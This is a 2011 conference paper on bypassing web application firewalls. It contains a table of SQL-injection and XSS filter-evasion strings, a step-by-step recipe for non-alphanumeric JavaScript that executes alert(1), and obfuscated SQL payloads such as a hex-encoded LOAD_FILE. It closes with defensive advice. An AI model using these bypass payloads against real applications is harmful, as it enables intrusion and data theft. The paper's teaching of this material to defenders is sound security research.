<<

Bypassing Web Application Firewalls

Pavol Lupták

[email protected]

CEO, Nethemba s.r.o

Abstract

The goal of the presentation is to describe typical obfuscation attacks that allow an attacker to bypass standard security measures such as various input filters, output encoding mechanisms used in web-based intrusion detection systems (IDS), intrusion prevention systems (IPS) and web application firewalls (WAFs). These attacks may include different networking tricks, polymorphic shellcode and various code techniques. At the beginning we analyse and compare different HTML parsing and interpretation approaches used by most-common browsers that can lead to unique attack vectors. Javascript, with a full range of features, represents another effective way that can be used to obfuscate or de-obfuscate code – some existing obfuscation tools are mentioned. We describe how it is possible to construct “non-alphanumeric Javascript code” which does not contain alphabetic or numeric characters, but still can contain malicious executable code. Despite the fact that most current applications are immune to SQL injection attacks, it is still possible to find many vulnerable applications. We focus on different fuzzy techniques (and useful open source SQL injection tools that implement them) which can still be used to bypass weak input validation controls. We conclude our presentation with a demonstration of the most basic obfuscation techniques that can be successfully used to bypass traditional web application firewalls (WAFs). Finally, we briefly describe current mitigation techniques that are recommended for efficient malicious Javascript code analysis and sanitizing user input containing untrusted code.

Keywords: , IPS, IDS, obfuscation, SQL injection, XSS, CSS, CSRF.

1 Web Application Firewalls implementations, common problems and vulnerabilities

1.1 What is a Web Application Firewall (WAF)?

According to the OWASP definition[1]: A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified. Web Application Firewalls (WAFs) were emerged from IDS/IPS systems that were specifically focused on HTTP protocol and HTTP related attacks. They usually contain a lot of complex regular expression rules that match most known input/output validation attacks. Especially commercial ones support extra features like cookie , transparent CSRF protection etc. Except of free mod_security[2], PHPIDS[3] and AQTRONIX[4] they are quite expensive and often there is no correlation between their price and their filtering capabilities.

Security and Protection of Information 2011 79

Choosing the right WAF is not easy, but there are at least two documents that can be helpful in this process – using Best Practices: Use of Web Application Firewalls and/or the Web Application Firewall Evaluation Criteria.

1.2 Common WAF implementations

Web Application Firewalls are usually deployed in so called “blacklisting mode” which is much more vulnerable to bypasses and targeted attacks. Blacklisting according to the OWASP definition[5] means “Reject known bad”: This strategy, also known as “negative” or “blacklist” validation is a weak alternative to positive validation. Essentially, if you don't expect to see characters such as %3f or JavaScript or similar, reject strings containing them. This is a dangerous strategy, because the set of possible bad data is potentially infinite. Adopting this strategy means that you will have to maintain the list of “known bad” characters and patterns forever, and you will by definition have incomplete protection. A more secure strategy is Whitelisting. According to the OWASP definition[6], it means “Accept known good”: This strategy is also known as “whitelist” or “positive” validation. The idea is that you should check that the data is one of a set of tightly constrained known good values. Any data that doesn't match should be rejected. Data should be:  Strongly typed at all times  Length checked and fields length minimized  Range checked if a numeric  Unsigned unless required to be signed  Syntax or grammar should be checked prior to first use or inspection In whitelisting mode for WAF configuration it is necessary to know an application context (i.e. type of all allowed inputs for all forms) which can be quite handy yet difficult to obtain, especially in the case of huge web applications. Despite the fact that the blacklisting approach is vulnerable to bypasses and targeted attacks, a web application firewall can still be a cost-effective security solution, especially when a customer has no control over his protected application (the supplier does not provide the application security updates anymore or the customer has no access to the application's ). It is necessary to emphasize that a WAF is just workaround, not a 100% secure replacement for a secure application that correctly validates all user input and output.

1.3 WAF filter rules

WAF filter rules directly reflect WAF effectiveness. Unfortunately, for most WAF vendors, they are closely guarded secrets[7] that follow the “Security through obscurity” concept [8]: Security through (or by) obscurity is a pejorative referring to a principle in security engineering, which attempts to use secrecy (of design, implementation, etc.) to provide security. A system relying on security through obscurity may have theoretical or actual security vulnerabilities, but its owners or designers believe that the flaws are not known, and that attackers are unlikely to find them. A system may use security through obscurity as a defense in depth measure; while all known security vulnerabilities would be mitigated through other measures, public disclosure of products and versions in use makes them early targets for newly discovered vulnerabilities in those products and versions. An attacker's first step is usually information gathering; this step is delayed by security through obscurity. The technique stands in contrast with security by design, although many real-world projects include elements of both strategies.

80 Security and Protection of Information 2011

Most determined attackers are able to bypass these rules even without seeing them. Open-source WAFs (mod_security, PHPIDS) have open-source rules, which is beneficial due to the added public scrutiny by skilled penetration testers.

Blocked Attack Undetected modification

'or 1=1-- ' or 2=2--

alert(0) %00alert(0)

' or ''''='r '/**/OR/**/''''='

1 or 1=1 (1)or(1)=(1)

eval(name) x=this.name X(0?$:name+1)

Table 1: Typical WAF bypasses.

1.4 WAF vulnerabilities

Although WAF is considered to be a network element that significantly increases the overall security of customer applications, WAF can also increase the attack surface of a target organization. WAF may be the target of and vulnerable to malicious attacks, e.g. XSS, SQL injection, denial-of-service attacks, and remote execution vulnerabilities [14]. Increased complexity of any application usually also increases the number of its potential vulnerabilities and this is also the case of security products including WAFs.

2 Bypassing Web Application Firewalls

In the following section we describe how a typical bypass flow looks like and how it is possible to make and SQL obfuscation code including practical composition of non-alphanumeric javascript code.

2.1 Typical bypass flow

Typical bypass flow for the determined attacker can be described in the following 4 steps: 1. Find out which characters or sequences are allowed by WAFs HTTP response codes are useful for revealing which characters or sequences can be included in the target GET/POST requests.

Security and Protection of Information 2011 81

2. Make an obfuscated version of your injected payload Making the obfuscated version of the injected payload may require a deep knowledge of Javascript or SQL language. Be aware that the obfuscated version can be much longer than the original one. If there is no GET/POST parameter size limit, this should not be a problem. 3. Test it and watch for the WAF/application response It is necessary to carefully check which injected characters or sequences are accepted by the application and passed to the web application firewall. Analysing WAF/application responses will reveal which characters or sequences can bypass the given WAF or application validation filter. 4. If it does not bypass, modify your payload and repeat step 2

2.2 Javascript obfuscation

Javascript is a very dynamic, expressive and loosely typed language that has powerful features. Javascript payload is used in XSS attack vectors. For obfuscation, Javascript supports many useful functions: evals (possibility to evaluate any expression), expression closures (something similar to a typical Lambda notation), e.g.: (function() alert(1)) () (function($)$(1)) (alert) generator expressions, e.g.: for ([]in[$=alert])$(2) $=[(alert)for([]in[0])][0],$(1) iterators (an object that knows how to access items from a collection one at a time, while keeping track of its current position within that sequence), e.g: Iterator([$=alert]).next()[1],$(1) special characters and shortcuts. Javascript also supports various encoding types (unicode – multibyte characters, hexadecimal, octal, or any combination of these) and encryption functions (e.g. XOR, BASE64).

2.3 Non-alphanumeric Javascript code

In the following example, we will show a situation where the given WAF blocks alpha characters and numbers (probably not a realistic situation, but this is a proof-of-concept). Depending on blocked characters and its number, in many cases it is still possible to make fully functional obfuscated code without using these characters. We consider the situation where only a few special characters like (){}_=[];$”!+<> are allowed. Let's summarize the current possibilities of the Javascript language:  we can use numbers to obtain a single character in a string, e.g. for “abc” string, index zero for accessing the first character - abc[0]  we can use addition (+), subtraction (-), multiplication (*), division (/), modulus (%), increment (++), decrement (–)

82 Security and Protection of Information 2011

 we know that mathematical operators perform automatic numeric conversion  we know that string operators perform automatic string conversion As a good source of different alphanumeric characters we can use various predefined Javascript objects or error codes, e.g.:

Javascript objects / error states String result

{}+'' “[object Object]”

+[][+[]] “NaN”

[][+[]]+'' “undefined”

[![]]+[] “false”

[!![]]+[] “true”

Table 2: Source of strings from javascript objects / error states.

Most of these Javascript objects or error codes can be invoked without using alphanumeric characters. In order to obtain just one character, we need to use numerical index. If we do not want to use numbers, we need to find an alternative way for their representation without using any alphanumeric characters.

Characters Result

+[] 0

+`'` 0

+”'” 0

-[] 0

-`'` 0

-”'” 0

Table 3: The shortest possible methods to create zero without using numbers.

As we can see, mathematical operators + or – convert an empty string to 0. Now that we have the number zero, we can generate other numbers like 1, 2, 3, etc. using Javascript's automatic conversion behavior:

Possible obfuscation string Possible obfuscation string Result

+[] +[] 0

++[[]][+[]] +!+[] 1

Security and Protection of Information 2011 83

++[++[[]][+[]]][+[]] !+[]+!+[] 2

++[++[++[[]][+[]]][+[]]][+[]] !+[]+!+[]+!+[] 3

Table 4: Obfuscated ways to generate numbers.

In a similarly recursive way, we can generate any arbitrary number.

2.3.1 Generating the 'alert' string without using any alphanumeric characters In order to generate the letter 'a', we can use the error message NaN, which means “Not a Number” by accessing an empty string with index '0' – we get the state 'undefined' and then convert it to the number - we get the state 'NaN': +[][+[]] // result: NaN

When we access this string using the first index (we are interested in the first character) we directly access the letter 'a' - NaN[1]='a'. ++[[]][+[]] // returns number 1 +[][+[]]+[] // result string: NaN NaN[1]=(+[][+[]]+[])[++[[]][+[]]] = 'a' //we have character 'a'

Generating the 'l' character is pretty straight-forward. 'l' is used e.g. in boolean false. We use a blank array (string), apply the NOT (!) operator to obtain boolean, wrap it with [] to convert it to the string: [![]]+[] //string “false” ++[++[[]][+[]]][+[]] //2 false[2]=([![]]+[])[++[++[[]][+[]]][+[]]]='l' //we have character 'l'.

For generating the 'e' character we can use boolean true and obtain the third letter: ([!![]]+[]) // string 'true' ++[++[++[[]][+[]]][+[]]][+[]] //3 true[3] = ([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]] //we have character 'e'

'r' and 't' characters can be generated in a very similar way by obtaining the first and second letter of the 'true' string: ([!![]]+[]) // string 'true' +[] //0 ++[[]][+[]] //1 true[1] = ([!![]]+[])[++[[]][+[]]] //we have character 'r' true[0] = ([!![]]+[])[+[]] //we have character 't'

And finally we have our 'alert' string: (+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]] +([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++ [[]][+[]]]+([!![]]+[])[+[]]

84 Security and Protection of Information 2011

2.3.2 Executing the code of our choice In order to execute arbitrary Javascript code we need to gain the window object to access all of its properties. If we can access this object, we can call the Function constructor to execute our arbitrary code. Probably the shortest possible way to gain access to the window object is in the following way: alert((1,[].sort)()) // show our window object ! alert((1,[].reverse)() // show our window object ! (longer version)

Function sort leaks the window object. This is a real security problem - window objects shouldn't leak! They can break sandboxes and create obfuscation vectors. Thankfully, ECMA5 recognizes this and a future version of Javascript will not leak window in this way[7]. When Javascript loses a reference to the current object that a function was called on, it reverts to the global object (window). The sort and reverse techniques start with a reference to a standard array literal. Then, instead of calling the object and then the method, we simply store a reference to the method in another variable. Thus, the window is returned when the method is called as the array literal has been lost[7]. So let's generate alert((1.[].sort)()). We know how to generate the string 'alert', so now we need to generate the 'sort' string. We can obtain the character 's' from the false boolean: false[3]=([![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]] // character 's'

In a similar way we can obtain the character 'o' from []+{} (the concatenation of an object literal and string returns the string “[object Object]”, consequently we obtain the first alpha character): ([]+{})[++[[]][+[]]] //character 'o'

We have already generated the 'r' and 't' letters, so the final 'sort' is: ([![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([]+{})[++[[]][+[]]]+([!![]]+[])[++[[]][+[]]]+( [!![]]+[])[+[]]

Once we have the window object, we can use our 'alert' string to call the function by accessing the method and parsing our string: (1,[].sort)().alert(1) after changing number 1 and characters 's','o','r','t','a','l','e','r','t' to their obfuscated version we finally get: ([],[][([![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([]+{})[++[[]][+[]]]+([!![]]+[])[++[[]][ +[]]]+([!![]]+[])[+[]]])()[ (+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]] +([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++ [[]][+[]]]+([!![]]+[])[+[]]](++[[]][+[]]) which fully works and calls alert(1)! We have used the static method alert of the object window, but we would like to have a more universal way to evaluate and execute any arbitrary Javascript code. Using the array constructor, we can execute our arbitrary code in the following way (accessing the constructor twice from an array object returns Function): [].constructor.constructor(“alert(1)”)() // call function and execute “alert(1) or any other javascript function”

Security and Protection of Information 2011 85

To call this function we need to generate the additional '', 'n','u' characters (we have already have the 'o','s','t','r' characters). We can use the output of [].sort function: function sort() { [native code] } and use the above-mentioned methods to gain all necessary characters. The website Sla.ckers.org was responsible for “diminutive Non-Alphanumeric Javascript Contest” [9] - its goal was to write the shortest possible non-alphanumeric Javascript code. The winning code 63 bytes long from LeverOne: ([,Á,È,ª,É,,Ó]=!{}+{},[[Ç,µ]=!!Á+Á][ª+Ó+µ+Ç])()[Á+È+É+µ+Ç](-~Á)

2.4 SQL obfuscation

SQL obfuscation can help the attacker to bypass web and database application firewalls (e.g. GreenSQL[10]) or applications' input validation controls. Different DBMS' (Database Management Systems) have different SQL syntax (e.g. Oracle SQL does not have the LIMIT directive like MySQL or PostgreSQL), but most of them support Unicode, BASE64, hexadecimal, octal and binary representations, escaping and hashing algorithms like MD5 or SHA-1. SQL obfuscation strictly depends on the type of DBMS used. Many DBMS with PHP still support “stacked queries” (e.g. PostgreSQL or MSSQL) - so in the case of a SQL injection vulnerability, the attacker can add his own stacked SQL command. MySQL is not affected, however if an application uses the PHP Data Objects (PDOs) connection library instead of PHP MySQL or MySQLi, MySQL will accept stacked queries. The PDO engine is capable of separating multiple queries and executing them sequentially. In some DBMS', many “blacklisted” characters can be replaced by their (same-functional) alternatives, e,g. space (0x20) can be replaced by 0xA0 in MySQL. Comments can be also a good method of obfuscation – sometimes it is really difficult to determine , from the web or database application firewall, what is a comment and what is not, e.g.: s/*/e/**//*e*//*/l/*le*c*//*/ect~~/**/1

Obfuscation examples using hexadecimal and binary representations: SELECT CONCAT (char (x'70617373',b'11101110110111101110010011 00100')) SELECT LOAD_FILE(0x633A5C626F6F742E696E69) SELECT (extractvalue(0x3C613E61646D696E3 C2F613, 0x2F61))

New versions of MySQL and PostgreSQL also support XML functions that can be inadvertantly used for the obfuscation: SELECT UpdateXML('', '/script/@x','src=//0x.lv');

HTML5 (partially supported by Chrome or Opera) supports local DB storage (SQLite 3.1+) using the openDatabase object that can possibly (in the future) be misused for persistent XSS or local SQL injection attacks. There are many public SQL injection cheat-sheets that describe various obfuscation techniques (e.g. Ferruh Mavituna cheat sheet[11]).

86 Security and Protection of Information 2011

3 Summary

Despite the fact that Web Application Firewalls are becoming more advanced and sophisticated, it is necessary to understand that they are just workarounds. The ultimate solution is to rely on security in every SDLC phase and strictly validate all input and output in the application. Using whitelisting is definitely a better idea than using blacklisting (both in the application and WAF). In the case of security-critical applications it is recommended to use 3rd layer database architecture (when the application has no direct access to the database and has to use special “database access” functions, and/or database firewalls that work on the database application layer (e.g. GreenSQL[10]). All SQL requests should always be constructed as “prepared statements” (structured queries) in order to avoid dangerous SQL injection attacks. For HTML validation against XSS attacks, we recommend to use external verified libraries with good reputations (e.g HTML Purifier[12] for PHP or OWASP AntiSamy[13] for Java).

References

[ 1 ] http://www.owasp.org/index.php/Web_Application_Firewall [ 2 ] http://modsecurity.org/ [ 3 ] http://phpids.org/ [ 4 ] http://www.aqtronix.com/?PageID=99 [ 5 ] http://www.owasp.org/index.php/Data_Validation#Reject_known_bad [ 6 ] http://www.owasp.org/index.php/Data_Validation#Accept_known_good [ 7 ] Mario Heiderich, Eduardo Alberto Vela Nava, Gareth Heyes, David Lindsay: Web Application Obfuscation, 2011 [ 8 ] http://en.wikipedia.org/wiki/Security_through_obscurity [ 9 ] http://sla.ckers.org/forum/read.php?24,28687,page=1 [ 10 ] http://www.greensql.net/ [ 11 ] http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ [ 12 ] http://htmlpurifier.org/ [ 13 ] http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project [ 14 ] http://www.securiteam.com/products/F/F5_BIG-IP.html, [ 15 ] http://fox-it.com/uploads/pdf/advisory_xss_f5_firepass.pdf

Existing obfuscation tools

[ 16 ] Hackvertor http://hackvertor.co.uk/public [ 17 ] HackBar https://addons.mozilla.org/en-US/firefox/addon/hackbar/ [ 18 ] Malzilla http://malzilla.sourceforge.net/ [ 19 ] Your imagination

Security and Protection of Information 2011 87

Special thanks

[ 20 ] Samy Kamkar for corrections [ 21 ] Mario Heiderich and Stefano Di Paola for personal consultations

88 Security and Protection of Information 2011